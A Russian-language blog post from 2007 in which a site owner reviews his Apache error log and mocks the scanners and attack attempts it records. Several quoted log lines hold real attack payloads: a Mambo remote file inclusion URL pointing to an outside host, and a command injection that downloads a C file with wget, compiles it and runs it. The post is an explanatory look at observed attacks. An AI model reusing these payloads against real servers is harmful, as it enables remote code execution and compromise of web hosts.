Пидарасы

cat /var/log/httpd/thelogin.ru/error.log

[Tue Nov 27 04:00:52 2007] [error] [client 195.161.113.55] File does not exist: /home/themylogin/www/thelogin.ru/blog/internet

Некий scanner-002.turtle.ru пытается проиндексировать страницу годичной давности. Более того, в robots.txt вообще запрещено какое-либо индексирование. Увы, но 195.161.113.0/24 отправляется в бан.

[Sun Nov 25 09:10:15 2007] [error] [client 213.228.76.214] File does not exist: /home/themylogin/www/thelogin.ru/_vti_bin
[Sun Nov 25 09:11:25 2007] [error] [client 213.228.76.214] request failed: URI too long (longer than 8190)

Свои же (tc1000.214.sinor.ru) с диалапа пытаются эксплойтнуть элементарные баги в IIS! Пиздец.

[Wed Nov 21 09:07:02 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/includes
[Wed Nov 21 09:07:03 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/joomla
[Wed Nov 21 09:07:06 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/nuke
[Wed Nov 21 09:07:07 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/phplive
[Wed Nov 21 09:07:08 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/components
[Wed Nov 21 09:07:12 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/spaw
[Wed Nov 21 09:07:14 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/modules
[Wed Nov 21 09:07:15 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/forum/includes/archive
[Wed Nov 21 09:07:18 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/includes
[Wed Nov 21 09:07:20 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/webmail
[Wed Nov 21 09:07:21 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/dotproject
[Wed Nov 21 09:07:23 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/cacti
[Wed Nov 21 09:07:24 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/modules
[Wed Nov 21 09:07:25 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/calendar
[Wed Nov 21 09:07:27 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/webcalendar
[Wed Nov 21 09:07:28 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/pm
[Wed Nov 21 09:07:29 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/project
[Wed Nov 21 09:07:30 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/wp-content
[Wed Nov 21 09:07:32 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/lang=http:
[Wed Nov 21 09:07:34 2007] [error] [client 85.18.94.139] File does not exist: /home/themylogin/www/thelogin.ru/mambo

Сканер какого-то лоха ищет уязвимые скрипты... /blog/, /forum/ и т.п. он проверить не догадался. REQUEST_URI имел вид /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.114.128.21/t.txt. Сделал раз десять file_get_contents, появится этот ушлёпок у меня или нет...

[Tue Nov 20 12:32:52 2007] [error] [client 80.34.55.88] Invalid URI in request GET cmd.gif?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://crekom.com/barbut.c;gcc barbut.c -o barbut;./b HTTP/1.1

Тоже профессиональный хакер. Пытается скачать нерабочий эксплоит :)

[Sun Nov 18 22:24:17 2007] [error] [client 213.228.76.137] request failed: error reading the headers

И снова синоровские атаки на IIS. Ещё более лажовые.

[Sun Nov 18 09:50:40 2007] [error] [client 74.52.221.210] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)

:-$

[Tue Nov 13 10:22:31 2007] [error] [client 66.232.97.32] (36)File name too long: access to /\xc3\x83\xc2\x90\xc3\x82\xc5\xa1\xc3\x83\xc2\x90\xc3\x82\xc2\xb0\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\x9a\xc3\x83\xc2\x90\xc3\x82\xc2\xb5\xc3\x83\xc2\x90\xc3\x82\xc2\xb3\xc3\x83\xc2\x90\xc3\x82\xc2\xbe\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x82\xac\xc3\x83\xc2\x90\xc3\x82\xc2\xb8\xc3\x83\xe2\x80\x98\xc3\x82\xc2\x8f:\xc3\x83\xc2\x90\xc3\x82\xc5\xbe\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\x9a\xc3\x83\xc2\x90\xc3\x82\xc2\xb2\xc3\x83\xc2\x90\xc3\x82\xc2\xb5\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\x9a\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\xb9_\xc3\x83\xc2\x90\xc3\x82\xc2\xba_\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\x9a\xc3\x83\xc2\x90\xc3\x82\xc2\xb8\xc3\x83\xc2\x90\xc3\x82\xc2\xbf\xc3\x83\xc2\x90\xc3\x82\xc2\xbe\xc3\x83\xc2\x90\xc3\x82\xc2\xb2\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\xb9\xc3\x83\xc2\x90\xc3\x82\xc2\xbc_\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x82\xac\xc3\x83\xc2\x90\xc3\x82\xc2\xb0\xc3\x83\xe2\x80\x98\xc3\x82\xc2\x81\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\xa1\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\x98\xc3\x83\xe2\x80\x98\xc3\x82\xe2\x80\x9a\xc3\x83\xc2\x90\xc3\x82\xc2\xb0\xc3\x83\xc2\x90\xc3\x82\xc2\xbc failed

ÚðтõóþрøÑÂ:Þтòõты_ú_тøÿþòыü_рðÑÂчÃ
‘‘тðü? :-$

[Sun Nov 11 00:00:39 2007] [error] [client 213.148.177.241] Invalid URI in request POST rackback.php?postid=335 HTTP/1.0

Вот мы и подошли к причине наших с Sergey89 мучений по поводу трекбеков.

Вообще интересно читать логи... Многое узнаёшь из жизни животных. Гораздо больше, чем на парах Антоненки Лилии Фёдоровны ;)